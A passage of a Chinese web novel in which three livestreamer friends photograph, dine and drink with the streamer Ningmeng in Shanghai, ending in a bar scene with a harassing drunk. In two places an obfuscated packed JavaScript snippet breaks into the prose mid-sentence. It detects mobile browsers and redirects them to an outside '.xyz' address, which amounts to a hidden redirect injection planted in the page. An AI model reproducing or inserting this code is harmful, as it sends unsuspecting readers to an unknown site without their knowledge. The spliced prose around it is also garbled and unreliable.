张毛毛脸上也浮现出几分不耐烦，皱眉转向酸醋余的方向，“喂，死鱼，你快点管管他，告诉我啊，到底怎么回事，你们两个看美女好歹换换时间吧。” 这下子本来只是一个人嫌弃，他这句话结束后成功招来两个人的嫌弃。 酸醋余瘪一下嘴角，目光继续转向原位置，对这两个人的动静置之不闻。 宁檬已经和几个女生道了分别，加上微信联系，转身回头的瞬间视线和酸醋余重新投来的目光对上，两人相视一笑，没有提前对好的小心机，在对视的刹那都了然于胸。 而另一边，酸醋余打了一下配合，悄摸摸拽了拽怪鸦的大衣袖子，丢给他一个眼神示意，损友坑人之间的默契总能在第一时间达成高度一致。 本来已经是到嘴边的解释答案，突然临时转了个弯，硬生生变成了一句，让张毛毛听得差点气急咬人的内容。 “美女哪里是多见的，看一眼少一眼，柠檬又不会跑，但是美女会啊”，怪鸦单手轻轻搭在张毛毛一侧的肩上，嘴里振振有词，说得还挺是那么回事。 张毛毛一脸不可置信，缓慢转向说出这种话的人，与他对视，一双眼睛都充满着不相信的目光。 看美女？这是怪鸦口中说出来的话？？？ 一个两个都是网上的大主播，每天连线打PK的美女主播不在少数，关注列表里更是数不胜数，满足眼福这种事情难道不是每天都在发生的吗，怪鸦竟然说先看美女？？？ “打扰一下，帅哥，我能帮你们拍个照吗？” “不用” “OK啊！” 一段简单的对话仓促开始，又很快结束，只不过答案并不太一致。 在线下被粉丝要求合照的时候也不是没有，只是现在注意力都集中在宁檬的事情上，张毛毛几乎是不过脑子的下意识就回绝了这种要求。 对视之间，眼神的交流里，怪鸦完全不管张毛毛的异样眼神，自顾自地已经招呼着拿着相机前来拍照女生的要求，甚至还主动拉着另一侧闲得打哈欠的酸醋余一起，热情得一点都不像初次线下见面中社恐的样子。 张毛毛被安排在站位的最右边，酸醋余在另外一侧，而怪鸦则是笑得最灿烂的稳站C位，两只胳膊横在背后，一边搭一个，摆拍的动作熟练到完全不需要眼前拍摄女生的动作指引。 既来之则安之，叫不醒这两个装睡的人之前，只好投入到拍照的配合中。 简单的拍摄正式进行开始，张毛毛这才仔细观察相机背后女生的样子，脖颈间挂着一副墨镜，头发是自然散开的卷发，看得出来没有做造型上的打理，更像是吹干头发出来的蓬松样子。 的确是个美人胚子，左眼的下眼睑那里有一个很不起眼的痣，淡淡的棕色，不知道是底妆压了原本的颜色，还是本来就是一颗很淡的泪痣。 日常的淡妆妆容，和她大气的穿搭，让人眼前一亮，看多了网络上美颜滤镜之后的美女主播样子，突然看到这种简单的真实模样，确实会有不一样的感觉。 张毛毛大概能明白刚刚怪鸦之所以会说出那种话的原因了，这个女生真的和他们认识的主播朋友不太一样。 就这么配合，打量看完之后，张毛毛发现一个很不对劲的点，这相机上面的装饰东西是不是有点眼熟？ 这他妈的不就是之前和酸醋余一起出去玩的时候，在他相机上面看到过的吗，当时自己还专门吐槽这个小东西丑来着。 这么会儿时间，他竟然才发现正常审美的女生，怎么会把这种丑东西挂在相机上面的，这种事情也就只有酸醋余这样的抽样人才能干得出来，当然，怪鸦也可能，只不过是私底下的。 说是疑问猜测，但是心里基本已经明晓正确答案，在拍摄的最后阶段，张毛毛出奇地配合，并且还主动要求要拍几张单人的照片。 相机镜头盖合上的瞬间，宁檬低头查看相册里的照片，忽然间身旁多出一团阴影，故意不作反应，专注在点评照片的话题上。 “哦对了，我能加下你们谁的微信吗，把这些照片发给你们？” 怪鸦最是捧场，在正好张毛毛的视角盲区，举着手机在宁檬面前，两个人象征性的加上微信好友，准备道别离开。 整个过程里酸醋余都没有上前说任何话，只是在旁边看着这出好戏，以及紧接着而来的第二出好戏。 张毛毛是从什么时候开始发现不对劲，以及他最后悄摸摸站到另外两个聊得热火朝天的人身后，这一系列动作都被酸醋余看在眼里，只笑着没有点破，这才等来最后一出他一人席的好戏观看。 张毛毛站在宁檬和怪鸦身后，冷不丁的出声，是故意做出的空洞拖长音的说话语气，愣是把他们两个人吓得手里的手机差点一不留神没拿稳。 “哦——顺便提一嘴，记得也发我一份，至于好友嘛，就不用加了，你应该有。” 张毛毛说完这句话，没有做过多停留，直接转身朝着酸醋余的位置过去，眼睛和他对视，偏偏酸醋余默默移开眼神，脸上略带一些心虚躲开。 捉弄朋友被发现这事可不是什么值得得意的事，怪鸦和宁檬第一时间看向酸醋余，眼神交流之间，仿佛在质问该不会是你告诉他的吧？ 酸醋余耸耸肩头，表示很无辜。 “别猜了，不是他说的”，张毛毛正站在酸醋余侧边，一只手懒洋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414712|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋地搭在他的肩膀上，半眯着眼睛抬眼，“你们不知道了吧，这相机上的装饰可是我送的。” 嘴角开始弯起的怪异弧度，让两个不知情的人陡然变脸，开着玩笑吐一口气。 宁檬倒是没怎么放心上，托着相机走近，手指间从刚刚被告知后便一直把玩着相机的装饰，还真别说，这家伙的审美是真的不错，都想问他要链接等回家给自己的也买一个装上。 “人到齐了，是不是该去吃饭了？” 在张毛毛还没来到之前，宁檬不知道提过多少次这个问题，可以说是从刚接到人就开始，一直到现在。 张毛毛正查看相机里的照片，听到这话第一时间就反驳，“不是，吃什么饭啊，我都还没拍东西呢，我才刚到，就要走是不是不太好啊！？” 宁檬刚从酸醋余手里把包接过来挎到自己肩上，听到动静回头看来，脸上充满着疑惑和不解。 “啊？不是惩罚都做完了，那不就没事，该去吃饭了吗？他们是这样说的啊？” 语气很是真诚，完全找不到一点捉弄人开玩笑的劲头在里面。 这话……无法反驳…… 当初在直播连麦的PK里赢的人的确不是自己，至于奖励惩罚这种好事更是轮不到自己头上，只不过都是朋友呢，他是真没想到宁檬这么死心眼的一根筋，还真的会拒绝他想要蹭镜头的主意。 “嗐呀，毛啊，谁让你的飞机延迟的，不然包能赶上的，真是太可惜了，到时候只能眼巴巴的看我和老余的共创眼红羡慕羡慕咯。” 怪鸦在一旁还存心的看热闹不嫌事大的自说自话，丝毫不把张毛毛这会儿心情起伏放在眼里。 说话的功夫相机已经跑到怪鸦手中，并且好巧不巧的相册里查看的内容下一条就是有宁檬真人出镜的原视频，因为镜头选得好，即使是还没有经过剪辑处理的视频也已经自带氛围感，就是一些色彩上还是需要经过后期的调整加分的。 超绝不经意的显露出自己的得意，怪鸦这事已经不是第一次两次了，看得张毛毛心里更加毛毛的。 本来就是二十出头的男生，瘦瘦高高的，真要算起来还没有比自己弟弟大几岁的，这会儿一双眼睛眼角耷拉，嘴角也跟着落下弧度，一张小脸都快要苦巴巴地挤皱在一起了，真的是谁看谁不忍心。 偏偏宁檬本来就是个严重的外貌协会，颜狗成分极重的人，本来就是调侃的坏心眼这下子是一点也拿不出来了。 “逗你玩呢，先说好，不露脸，拍快点，我真的很饿！” 宁檬最后半句话说完，酸醋余在后面紧跟了一句，“我作证，她当时和我们拍的时候也是拿饿威胁我们的。” “那有什么用，最后不还是比不过某人迟到的作用大，都不需要威胁也得等着。” 怪鸦就是典型的东方中国人，骨子里不止是八卦和看热闹，更是当面贴脸蛐蛐的类型。 一句话成功得到两个人丢来的眼神，一个比一个犀利，作为好哥们，张毛毛的白眼和坏表情早就见怪不怪了，但是宁檬的嘛，可能也有些姐感的年龄压迫在，也可能有第一次见面的原因成分在，总之还是很有威慑力的。 怪鸦和张毛毛见好就收，几个人的配合下很快拍完视频存货，他们这些人可真的是为了给自己省事添话题流量，可着宁檬一个人嚯嚯，各种风格类型的视频都尝试个遍，去吃饭的路上甚至还约好到时候商量好一定要在同一天发布视频，直接把热度推到最高，没准还能搏一个视频热搜榜的。 光是听着他们的这种聊天，宁檬整个人都不太好了，她觉得她现在很后悔，当初就不应该接那场连麦，这已经不仅仅是一个坑那么简单了，这分明是深不见底的悬崖才对。 “我谢谢你们哈，这股流量我能拒绝吗？” 在下车瞬间，宁檬挤出一个皮笑肉不笑的笑脸，难看死了，说着没什么用的婉拒的话。 毫无疑问，收到的是另外三人笑嘻嘻的嘴脸，以及某人有些欠嗖嗖的小表情。 “那什么，我一会儿可能……” “我能说不吗？” 怪鸦刚出口的话就被宁檬打断，看着他半仰起来的手机，用脚趾头都知道他想干什么，宁檬真的是越来越觉得自己是上了一条跳海都不太可能的贼船。 其实不止是怪鸦，和他并排走在一侧的张毛毛看到宁檬脸上明显没有很认真严肃的面色，也紧随其后摸出了手机微微晃动两下。 “既然如此的话，那我是不是也……？” 宁檬摆摆手，彻底摆烂了，但还是不太死心地转头看向在场看起来最稳重的最后一人，和酸醋余对视之后努力保持平静，淡淡开口，“你总不能也？” “不会，我没这打算”，酸醋余手上还拎着刚刚在楼下买好的果茶饮料，另一只手扶着箱子，压根没有看见手机在哪里，“不过现在看来，我有没有这个想法，你应该都是躲不过的了。” 微死的心，被酸醋余的后半句话直接扎了个透，彻底死透，碎成了渣渣。 8. 餐厅 提前订好的餐厅是在来之前，酸醋余就和同样在上海的朋友问好的地点，最开始是想要宁檬推荐请的，后来转念一想，让一个死宅推荐地点，这已经不是为难的程度了，分明是要命还差不多。 对此，宁檬表示，他们对她的定位很清楚，是很明智的决定。 吃饭的行程上，宁檬就安静跟着他们去，考虑到路上被投来的目光较多的原因，她默默选择戴上了口罩，今天出门时专门备上的。 在刚下车没有两三分钟的时候，前面本来就只有三个人却说出了五六个人的架势，振振有词地絮叨不止。 宁檬朝前面瞟一眼，果不其然，怪鸦和张毛毛两个人和刚刚说的一般无二，已经掏出手机在下车的第一时间开始了手机上的移动直播。 经过一路上有关地点的关键提示字时被刻意避开，但是其他的直播弹幕上的内容是有问尽可能有答。 在他们的直播粉丝里，有很大一部分就蹲守着直播的开始，所以在一开播的时间里就很快拥有三四千的人涌进来，后续的人数在慢慢随着直播间时间增加。 “西餐厅？” 看到熟悉的餐厅名字，宁檬侧头问了下身边的酸醋余。 酸醋余点点头，率先上前去和服务员说了预约名字和手机尾号，跟着前面领路的服务员去到他们的包间，他们身后面是另外两个和弹幕互动聊得火热，且旁若无人。 宁檬打量着眼前熟悉的室内装潢，以及略微久远但还能勉强想起来的熏香味道，心情有些许的微妙，不知道该怎么形容此时此刻。 她真的很不想回忆起来，这个西餐厅就是之前公司每年在年会信封里合作过的一家餐厅，那一年的餐券便是在这里，为了不浪费任何一次占公司便宜的机会，她真的坐地铁并且换乘跨区来这里吃饭。 现在想到这段回忆，真的是不是太美妙的心情啊…… 作为一个地地道道的中国人，宁檬这二十多年里始终贯彻熟练筷子的使用，刀和叉子的用法依旧停留在眼睛会，手可能学会的阶段。 早知道她应该问一嘴吃饭的地方的。 宁檬努力撑起不扫兴的精神，跟着在包间里找了座位。 还好，还好，好在是在单独的包间里，起码和使用餐券有些不太一样的体验，想到这心情瞬间就起来几个点。 点餐的环节，宁檬一向不参与，继续专心倒弄着相机，没有电脑的情况下，也已经等不及导出照片到手机里，简单使用手机上的修图软件，发送了一些好看的图片给之前的女生，剩下的便是来自眼前三位帅哥的生图了。 该怎么形容，网红和明星确实是有不一样的气质的，很多网上的人都会说网红比不上明星，但是宁檬现在觉得这种评价有些片面，并不是所有的网红都是如此。 酸醋余是那种三人中偏成熟的一类，但偏偏他就是他们中最会玩最喜欢抽象的一种，随时随地都可能爆梗，永远不会让人的话掉在地上，在个人气质上，平时会注意自己的身材管理，面容上的三庭五眼方面，每次宁檬在看到时都忍不住感叹在投胎做人这上面，酸醋余的确是一般人不能比的。 怪鸦是他们中年龄最小的，也是家境条件最好的，典型的少爷命来体验生活，但给人的感觉是那种阳光男大学生的类型，是网上很多人会喜欢的奶狗长相，温顺没有攻击力。 至于张毛毛，则和他们两个都不相同，是很中规中矩的长相，但是因为会穿搭和打扮的原因，再经过直播镜头的美颜滤镜的处理，也能够做到人群中的佼佼者，而现在摆脱直播的那些，他更像是宁檬学生时期关系相处很好的前桌，没有什么架子，长相看起来似乎也没有特别的出众和优势，但是偏偏会很上镜。 三个人完全不同的风格，但是出现在同一个镜头里，完全没有什么违和感。 自动跳过相册里带有自己出镜的视频，看他们几个人的颜值视频，还是很赏心悦目的。 看着相册里的视频，耳边的伴奏声音是怪鸦和张毛毛和直播间粉丝弹幕互动的对话。 “对啊，我和老余，毛毛一起呢，现在正在准备吃饭”，怪鸦手机竖在水杯旁边，正好释放自己的双手，从酸醋余手里接过带来的果茶，对着吸管就是，猛吸一口。 另一边，张毛毛的直播也在火热进行中，两个人的对话声几乎能够实时转播在各自的直播间里，看一个人直播但是能够听到不止一个人说话。 “老余？对啊，他正在点菜呢，我们刚下飞机就去拍了好多库存，到时候保准让你们看个够”，张毛毛说话时眼神飞扬，看得出来他对这次的拍摄是真的很满意。 也正是因为他的这些个小表情，成功勾得粉丝期待的心情越来越多，恨不得现在就能够钻到他们的库存箱里，现在就看到。 直播间里问东问西，也有不少是来看热闹的，有段神秘的话题无论是在哪里都能够引起数不尽的热度和关注，宁檬线下的长相就属于这其中，从开播到现在已经有不少人在直播间里蹲守着，就等着主播会聊到关于这的话题内容。 只不过很可恨一点，无论是怪鸦还是张毛毛都只是在开播的那几分钟里，明确回答了这次来上海已经见到了宁檬，至于其他更多的话题，两个人默契地没有一个人继续聊起。 越是具有神秘色彩的人或事，就越容易被人揪着不放，直播间里关注的粉丝在苦等之后，终于苦尽甘来，等来明显不属于男性的声线音色出现在直播间里。 宁檬也是故意为之，顶着自己的大号ID，直接点进怪鸦的直播间闲逛，一点不避讳粉丝，也不避讳正主，所以怪鸦惊讶反问的对话就这么出现在看热闹的粉丝耳中。 “宁檬，你是不是闲啊，你没事进我直播间干嘛，送礼物吗？先说好，我一般只要那个最大的”，一说到和钱有关的礼物，怪鸦的双眼已经自动放光，目光看着宁檬，嘴角的弧度很难压下去。 明明是所有人中最不缺钱的，却每每都是最像掉进钱眼里的人。 酸醋余坐得最近，正在帮着倒水，顺着说话的动静抬眼看向宁檬的位置。 后者随手把手机反过来盖在桌子上，“想钱想疯了？你问一个打工牛马要礼物，信不信我会和你拼命的。” 这精神状态，不愧是底层打工人，一点都不能吃亏。 直播间里粉丝连同包间里的另外两人，都跟着笑怪鸦。 [主播你有什么想不通的，竟然想把手伸到牛马的口袋，这不是痴心妄想吗？] [不愧是柠檬，一如既往的噎死人不偿命] [有一说一，你们难道就不好奇柠檬的长相吗，我真的是太好奇了] [楼上的，不关注现生，不干涉三次，谢谢] [主播你这张嘴，到底能说得过谁呀，哈哈哈哈哈哈] 从最开始围观看戏的粉丝，纷纷加入到嘲笑主播的阵列中来，临到最后酸醋余也跟上接过话头。 “你快见好就收吧，内存卡可是还在她手里呢，别到时候你连后悔都没有地方哭去了。” 相机内存卡才是重中之重，这趟上海行的主要目的就是在这！ 酸醋余在第一时间注意到宁檬拿起相机的动作，和她对视一眼，瞬间明白其中坏笑的含义。 有把柄在人手中，最好的做人办法就是，老老实实看人眼色。 有男生在的饭局上，没有酒水总归是缺点什么，在怪鸦的提议下，硬拉着酸醋余和张毛毛一起去商场里买点小麦果汁去。 三个人一起去把宁檬留下就算了，竟然还丢了一大房间的直播间粉丝过来，美其名曰是，直播间话题敏感，啤酒那些的包装和字眼容易被审核警告，还不如直接让她们和宁檬留在一起，起码还有个人一起说话 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购物袋看起来质量挺好，不愧是大商场里收钱自己买来的，就是吧，这里面的酒水饮料，哦不对，这只能被称为是酒，哪里有半瓶饮料的影。 宁檬默默丢开购物袋，双臂抱在自己胸前，所有的重量都靠在椅背上，沉浸在任由放松的状态里，吝啬得半点眼神都不愿意施舍给面前的三个人。 “在这的，帮你问服务员点了鲜榨橙汁，待会儿会来”，另外两个人沉浸在直播间的互动里，酸醋余独自一人把菜单打开，手指点在饮品那一栏正是他口中提到的。 “我在楼下看了一圈，怪鸦想到点菜时看到的，随便聊了几句后决定在回来时找服务员加了饮品，现榨，比较新鲜。” 这波解释的确是合情合理，宁檬跟着他的话点头，表情很受用，但嘴头上的话却一点都不中听。 宁檬下巴抵着手机，正好露出手机壳背面塞上的拍立得相片，说话时下巴的颤动带动着手机的左右摇晃。 “嗯，说得对”，宁檬面色云淡风轻，声音也平淡，“其实也还好吧，我平时都是糙养自己，高中生物老师说过，不干不净吃了没病，有时候吃了不干净，反而会刺激体内产生抗体，增强免疫力。” “啧……” 酸醋余抿一下嘴巴，双唇紧闭，对着宁檬挤出一个微笑，假得不能再假。 任谁听到宁檬这段话，都只有被煞风景后的无语凝噎。 而这些被张毛毛听到后，反应则是另一番，和酸醋余的反驳无奈截然不同，却更让人招笑不止。 做他们这一行的，每个人一路走来都不容易，进入这一行的契机也各有不同，但大多都不是什么幸事。 在做网红之前，张毛毛只是蛋糕店的一个全职甜点师，原生家庭的缘故早早便辍了学，养活自己，也养活妹妹。 学历水平有限的原因，张毛毛在直播时常常会上演劝学的老妈子文学，也会时不时因为这些闹个笑话，就譬如说现在。 “啊？生物老师还教这啊？我上学时，就只记得了我那不靠谱老师说‘豆浆喝多了是真的会变娘的’，从那之后我就开始知道这老师一点不靠谱，竟然败坏我最爱的豆浆的名声。” 说得很正义凛然，不知道的人可能还会以为这个老师传授了什么不可理喻的教学内容。 酸醋余本来一口闷气堵在胸口的郁闷，一瞬间合着对张毛毛的默笑一同消散，“怪鸦，听我一句话，以后少和他玩，毕竟笨蛋是会传染的。” “嗯！这个我赞同”，宁檬点点头，手指搭在手机壳背上有节奏地叩动，歪头想了小片刻，嘴角慢悠悠再次勾起开始说话，是真的一点面子都不给张毛毛留下。 内容直白，也变相嘲讽。 9. 酒馆 “果然笨蛋是没救的”，宁檬淡定端起水杯小口抿了一口，“你们老师说得没错啊，豆浆就是会促进雌性激素，男孩子声线容易变细，没毛病啊。” 想起当时这堂课时，班内不少男生窃窃私语说着以后一定要喝豆浆的话题。 课上老师的解释其实不只是只有这一点，现在说出口的只不过是被宁檬故意加工放大了些许之后的结果，没想到反而把张毛毛唬个正着。 他们之中学历最为高的就数酸醋余，他在距离宁檬最近的位置，没忍住轻笑出声，成功招来张毛毛咬牙的冷眼斜睨。 看这两人人模狗样的嘴脸，用脚趾头想都知道，刚刚宁檬说的话不是什么好话，或者是话里带着什么坑在。 话里没说完的内容在直播间里被其他在读或者已读的学生纷纷着急解答，张毛毛屏着声看屏幕，双眉开始不断收拢，再抬眼甩出去的每一个眼神，都如眼刀，全部投到对面两个狗男女身上。 反观那两人，没有一个正眼看他的，一个在看手机，一个则是在拆酒水包装，挨个打开。 绅士人设还真是坚持到底，嘁。 张毛毛歪一下嘴角，把吐槽最后憋回到了肚子里，不想继续再在这两个人面前被堵吃瘪，更主要还是不能在直播间里当众拆穿酸醋余直播时维持的人设。 “这么体贴，余大绅士？嗯?” 张毛毛没有说出来的话，不代表不会有其他人说出来，宁檬单手支在脑袋旁，做出一个缓缓歪头的动作，最后留下单音轻轻反问。 就这份率真直接，怪鸦和张毛毛都在同一时间默契转头，对视一眼看着对方不由得点头，为她点赞，手上动作也都很诚实地把手机默默拿远，尽可能地少收进去一些敏感话题的聊天内容。 “嗯” 回应她的是同一个单音字，差别只在语气上的不同，一个上扬疑问，一个则是肯定敷衍。 倒是一点都不收敛，宁檬不准备继续和他周旋，能在互联网上混得风生水起的人能是什么好招惹的人嘛，根本不可能是才对。 一天的时间其实过得很快，晚上时间怪鸦和张毛毛两人还约了有人，是在白天直播的时候连麦临时被约的，当时酸醋余不在镜头之中，摆摆手直接拒绝了这种邀请，半眯着眼睛好像真的是犯困迷糊的状态一般。 回家的2号线地铁上，实在是到达浦东区住的地方太远的缘故，宁檬单手搭在最边上的扶手，脑袋搭在臂弯的位置，一双眼睛看似在盯着地上，实际上已经出游得有好大一会儿了。 果然对于i人来说，每次出门都是极其消耗能量的一件事，大概是回家后需要用连续两个周的周末来恢复能量和元气。 酸醋余婉拒后续的邀请，主动担下送宁檬回家的任务，嘴上说着晚上不安全的话语，而一路上不知道被宁檬反驳过多少次。 “如果牛马遍地，谁也不会没事关心谁的牛马浦东都不安全，那可能以后离开上海回家的小县城里只会更加不安全了……” 差不多就是这种类似的言论，酸醋余没有办法反驳，但也不是完全的赞同，就像老人爱说起的，人心隔肚皮，没有人知道身边的人会是什么样的人。 宁檬是赞同这句话的，但是这样的话同样也适用于酸醋余身上，只是和他之间，肯定是要比周围没怎么见过面，一点都不熟悉的邻居要更加熟络。 走出地铁站，道路两边的路灯正好开始亮起，从眼前到远处，同一时间的瞬间道路骤亮，让灰蒙蒙的天空下的心情也明亮几分。 宁檬双手背后，上半身子微微倾侧，头发正好都倒向另一侧，眉眼微微弯起，嘴角的酒窝随着弧度若隐若现，看得出来她的心情很不错，但同时也藏着一丝不容易被察觉的疏离，就像在没见面之前的连麦聊天里一般，永远给你一种距离和边界的感觉。 酸醋余有一瞬间愣神，小幅度地歪了下头，没太明白宁檬的意思，安静等她开口解答。 “我记得你说过你酒量还不错？” “嗯”，酸醋余微皱眉，更加摸不准她的想法，平时的了解里一直都记得宁檬不止一次地说过不喜欢喝酒，冷不丁冒出这种问题，大概就是上学考试时老师突然出了画的重点之外的题目，有点措手不及。 宁檬主动往一边挪动几步，正好让出身后的门店，没有几步远就有一家音乐酒馆正在营业，看起来没有什么人，倒是很符合它这种小酒馆的title。 酸醋余缓缓收回视线，嘴角轻微上扬，表情中掺杂着至少有一半的不确信，“你想喝酒？” 答案显而易见，但还是被他再次追问寻求答案。 两个人看似在各说各的，偏偏没有回答的结果都是对方心知肚明的，如同打哑谜一般进行各自的对话。 “难得周末，难得出门，难得有心情，去不去？” 连着用了三个“难得”，酸醋余这要是再拒绝，就真的是没情商，没眼力劲了。 “走呗，微醺的周末就是最舒服的，难得来上海，不对，应该是难得来浦东一次。” 是这么个道理，他们这一行光鲜亮丽的网红主播，即便是来上海，也只可能是去那些所谓的景点，又或是经典适合出片的街头和路边，又有谁会没事来这远离市中心的牛马遍布的浦东区呢。 宁檬单手在头顶简单随意地往后拢一下头发，带着凌乱的散发推门进去。 酒馆没有很大，开在商场对面，所以酒馆里这会儿时间没有多少人，也可能是现在还没到其他人的夜生活时间。 说起喝酒，从小到大喝酒的次数屈指可数，宁檬对着手机上的团购套餐来回翻看，看着上面的酒水名字吧，其实并不太了解，更加不熟知哪种味道比较好，毕竟在她的认知里，酒这种的东西就没有好喝的，不是辣，就是苦，却偏偏是情绪上来时最好的消遣物。 “你来选吧，我没经验”，手机被直接推到对面人的眼皮子底下，站起身的动作已经顺着开始脱外套，进入到一种松弛的状态里。 仔细看的话，还会发现她的表情有一些不太自然，是那种涉及到不熟悉领域时的陌生和不自在。 这出乎意料的内容，酸醋余挑了下眉，倒是没有想到平时大大咧咧，好像什么都知道，都沾点的人，其实藏了副乖乖的内里。 平时的聊天里，他一直以为宁檬会是那种和其他女网红主播一样，什么都很玩得开，也会主动学习和接触的类型，而今天从见面到现在，心里对她的形象勾画定位好像更加清楚和立体，同时也和之前的那个形象对比出尤为明显的差异。 如果说之前的评价是，不拘小节，随性，大大咧咧这些很偏于外向的形容词，那现在的话，就会是内敛，安静，很有涵养，大方且很乖的那种类型的女生。 单手搭在门把手上，微微用力推开不透明的玻璃门，如同进入到另一个空间，灯光四散折射，音乐旋律不停环绕，夹杂着更加明显的人声跟唱声音，说不上来好听还是走调。 一首略微暴露年龄的老歌，短暂脑海里搜寻，宁檬并不能从为数不多的歌曲记忆存库中找到能够对应的歌曲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414714|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音乐酒馆，顾名思义，不仅是能听着音乐喝酒，更是能够主动切歌和开麦的小酒馆。 晚上九点钟的时间，小酒馆里只有他们这一桌和身后那桌的两个男人，除了音乐声就只有男人唱歌的逐渐走调声。 “唱得真难听”，宁檬双手支着下巴，一张嘴就是利剑，用着只有两个人的声音点评吐槽。 和一群网络主播混迹在一起，听多了他们唱的歌，再听别人的唱歌，耳朵都不知道被养刁了几个度，更何况还是那种没有歌喉唱功的大白嗓，颜值上也不是那么能打，完全没有一点让人欣赏的欲望。 酸醋余抿嘴轻笑，抬眼落下的视线正好能够看到那一桌的两个男生，看起来像是喝高了，唱歌说话的发音都已经不太清晰了。 没来得及收回的视线在下一秒看到的画面让人不自觉收拢眉头，酸醋余把酒杯朝宁檬的位置摆去，没有收回的手轻轻摆动示意，让她朝座位里面挪动， 虽然不明白怎么回事，但宁檬从小就是个很有眼力劲的人，带着不解的皱眉向里侧欠了欠身，里面的外套被她朝里面再收一些，不至于压到。 事情就发生在下一瞬间，宁檬看着酸醋余的手还没收回，她欲张口发问的话也没来得及说出，脑袋旁边就多出一抹黑影，紧接着感受到沙发上凹陷下去的变动，是一个人的膝盖轻搭在了沙发边缘。 和对面的人对视一眼后，视线随之转移，落在那只布满汗毛的半只胳膊上，难闻的香烟和酒水混杂，让宁檬下意识想要抬手堵住鼻翼，深入骨髓的教养促使她动作停在了想法冲动的阶段，最终没有做出反应，只是厌恶的皱眉看向带来这股味道的主人。 “帅哥，美女，我刚点了一首歌，不如一起来唱唱。” 手里的麦克风被直接递到桌子半空，根本不给人拒绝的机会，自作主张就要把麦克风塞过来，可能是看到宁檬压根没有任何动作的架势，转而把目标投向同样身为男性的酸醋余。 宁檬一言不语，只是安静打量着眼前的无理男人，不算大的啤酒肚，没有刮干净的胡茬子，还有手腕上带着的金貔貅，以及打理得不怎么样的发型，身上的衣服也都是很简单日常的款式。 不难猜得出来，他应该是和朋友来喝酒，给自己喝大了，并且酒品不是怎么好的一类人。 还有他的朋友竟然也没有及时阻拦，大概和他是同一类人，酒品可能也就只是比这个人好一点点，不然现在眼前出现的就不只是一个人的邀请这么简单了。 醉酒人的邀请热情过盛，酸醋余只是一味的说着拒绝和摆手，而宁檬始终沉着脸，眉头紧皱不舒，什么都没说的脏话已经在心里吐了一箩筐。 “我看你这打扮得也很帅，是不是网上的哪个主播，来喝酒都不给女朋友唱一个的吗，这多没意思”，醉酒的男子嘴上一点不饶人，完全不懂什么叫说话的艺术，以及人与人之间的边界。 在音乐伴奏的遮盖下，宁檬扯动嘴角冷哼一声，动静合着音乐发出，同时也传到酸醋余的耳中。 没意思？长得比你帅就算了，唱歌还比你好听，这要是真开口唱了，还不得被你这神经病醉鬼缠上不放让继续唱，真当是让你随意来点歌的，有病！ 宁檬自顾自地直接给自己桌上的两个酒杯倒满，动作一下又一下，等杯中的泡沫消下去就再继续添，直到酒杯里彻底不能再添加为止。 她沉浸在倒酒的动作中，对其他人不予理睬，包括酸醋余在内，直到听到耳边再响起下一句话，让她的忍耐素养险些压不住厌恶冲破。 10. 点歌 “帅哥，我请你喝一杯酒，你们小两口一起合唱一首怎么样？” 完全没有什么分寸边界感的人，手里的龙舌兰小酒杯都端不稳淅淅沥沥洒出来掉在桌子上面，宁檬垂一下眼睛，感觉到露在外面的手面被溅上液体。 这样的人就是沾上他的酒水都是晦气的。 宁檬拿着自己面前的酒杯直接抬手，送到酸醋余手边，脸上笑意盈满的神色，看向旁边站着很突兀的人说话，“不怎么样，我们自己有酒，而且并不想唱歌，想听你自己唱。” 递酒杯的动作很果断，几乎是要直接塞到酸醋余掌心中，眼神只是很短暂地停留在醉酒人身上，话说完人也就没有犹豫直接坐下，顺手从桌子上的瓜子碟里拿出几颗在自己手中。 桌子旁剩下两个男人都站在那有刹那的呆愣，回神的瞬间，酸醋余眼神里充斥着警惕，缓缓把酒杯放下并往里侧稍微推了推。 至于继续待着没有离开的醉酒男人，手里还端着小酒杯动作停在半空中，“你媳妇儿还挺有脾气，呵呵呵，但是不喝就不喝没事给我甩什么脸色？” 这一整句话前后语气上的差异简直不要太明显，前面的调侃听起来还挺人模人样的，后面的话，别说人模狗样了，更符合没有酒品的糙汉子还差不多。 听完这句话，酸醋余的脸色更加难看了，警惕的眼神已经彻底转移到手上的动作，如果不是老板娘这时候及时地来在中间圆场说话，他自己都不知道场面会出现什么。 对于没有品的醉汉，永远只能抱着最坏的打算。 宁檬懒懒地靠在沙发上，手机被她紧紧攥在手心里，五根手指抓得牢固，注意观察的话不难看到她其实也紧张的心情。 “哎呀，大家都是来喝酒散心的，唱歌都随心情嘛，可能妹妹心情不太好，现在不想唱歌不是？” 老板娘夹在两波人中间，试图把话题和气氛重新活跃起来，另一边，醉酒人的朋友也有眼力劲地跟上接话。 “对啊，我们这还有酒没喝，一会儿还有朋友要来接，到时候你们想唱什么就唱什么，想喝什么就喝什么。” 老板娘和醉酒人的朋友一唱一和，花了点功夫也才勉强把人劝住，重新送回到他们自己的沙发座位，走之前还留下一声冷哼。 “这人喝醉了，已经有好半天了，估计一会儿就走了，不用理他。” 老板娘又送来一碟小零食，压低声音站在桌子旁吐槽，脸上表情也是很没有耐心的厌恶。 对待酒品不好的人，无论在哪里都没有人乐意去使用他们的包容心去宽宏大量。 